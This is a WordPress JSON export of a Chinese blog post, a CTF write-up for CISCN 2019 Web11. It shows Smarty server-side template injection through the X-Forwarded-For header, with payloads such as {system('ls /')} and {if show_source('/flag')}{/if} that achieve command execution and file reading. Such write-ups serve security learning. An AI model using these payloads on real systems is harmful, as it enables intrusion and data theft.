{"id":2302,"date":"2025-04-04T22:45:15","date_gmt":"2025-04-04T14:45:15","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2302"},"modified":"2025-04-04T22:45:16","modified_gmt":"2025-04-04T14:45:16","slug":"ciscn-2019%e5%8d%8e%e4%b8%9c%e5%8d%97web11","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/04\/ciscn-2019%e5%8d%8e%e4%b8%9c%e5%8d%97web11\/","title":{"rendered":"CISCN 2019\u534e\u4e1c\u5357Web11"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250404220853.png\" alt=\"Pasted image 20250404220853.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250404222956.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250404222956.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250404222956.png\"><\/div><br \/>\n\u6839\u636e\u9875\u9762\u53ef\u77e5\u662fphp\u7684smarty\u6a21\u677f<br \/>\n\u5728\u5de6\u4e0a\u89d2\u7684IP\u663e\u793a\uff0c\u5f88\u5bb9\u6613\u60f3\u5230\u662fXFF\uff0c\u53c8\u56e0\u4e3aIP\u4f1a\u53d8\uff0c\u800c\u5176\u4ed6\u4e0d\u53d8\uff0c\u6709\u53ef\u80fd\u4f7f\u7528\u6a21\u677f\uff0c\u63a8\u6d4bXFF\u5b58\u5728SSTI<\/p>\n<h1>\u4e8c\u3001\u9a8c\u8bc1XFF\u5b58\u5728SSTI<\/h1>\n<p>XFF\u8f93\u5165<code>{{2*2}}<\/code>\u8f93\u51fa4\uff0c\u5b58\u5728SSTI\u6ce8\u5165<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250404223323.png\" alt=\"Pasted image 20250404223323.png\"><\/p>\n<h1>\u4e09\u3001\u83b7\u53d6\u7248\u672c\u53f7<\/h1>\n<p>\u8f93\u5165<code>{$smarty.version}<\/code>\uff0c\u4f7f\u7528\u65e0\u6cd5\u4f7f\u7528{php}\u6807\u7b7e<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250404223508.png\" alt=\"Pasted image 20250404223508.png\"><\/p>\n<h1>\u56db\u3001\u6267\u884cRCE<\/h1>\n<p>\u8f93\u5165<code>{system('ls \/')}<\/code>\uff0c\u5f97\u5230flag\u4f4d\u7f6e<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250404223923.png\" alt=\"Pasted image 20250404223923.png\"><\/p>\n<h1>\u4e94\u3001\u83b7\u53d6flag<\/h1>\n<p>\u8f93\u5165<code>{if show_source('\/flag')}{\/if}<\/code>\uff0c\u6210\u529f\u83b7\u53d6flag<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/04\/Pasted-image-20250404224022.png\" alt=\"Pasted image 20250404224022.png\"><\/p>\n<h1>\u603b\u7ed3<\/h1>\n<ul>\n<li>SSTI\uff08smarty)\u6ce8\u5165\uff1a<br \/>\n{system(&#8216;ls&#8217;)}<br \/>\n{if show_source(&#8216;\/flag&#8217;)}{\/if}<\/li>\n<li>XFF<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u7ad9 \u6839\u636e\u9875\u9762\u53ef\u77e5\u662fphp\u7684smarty\u6a21\u677f \u5728\u5de6\u4e0a\u89d2\u7684IP\u663e\u793a\uff0c\u5f88\u5bb9\u6613\u60f3\u5230\u662fXFF\uff0c\u53c8\u56e0\u4e3aIP\u4f1a\u53d8\uff0c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[26,71,70],"class_list":["post-2302","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-rce","tag-smarty","tag-ssti"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2302","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2302"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2302\/revisions"}],"predecessor-version":[{"id":2303,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2302\/revisions\/2303"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2302"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}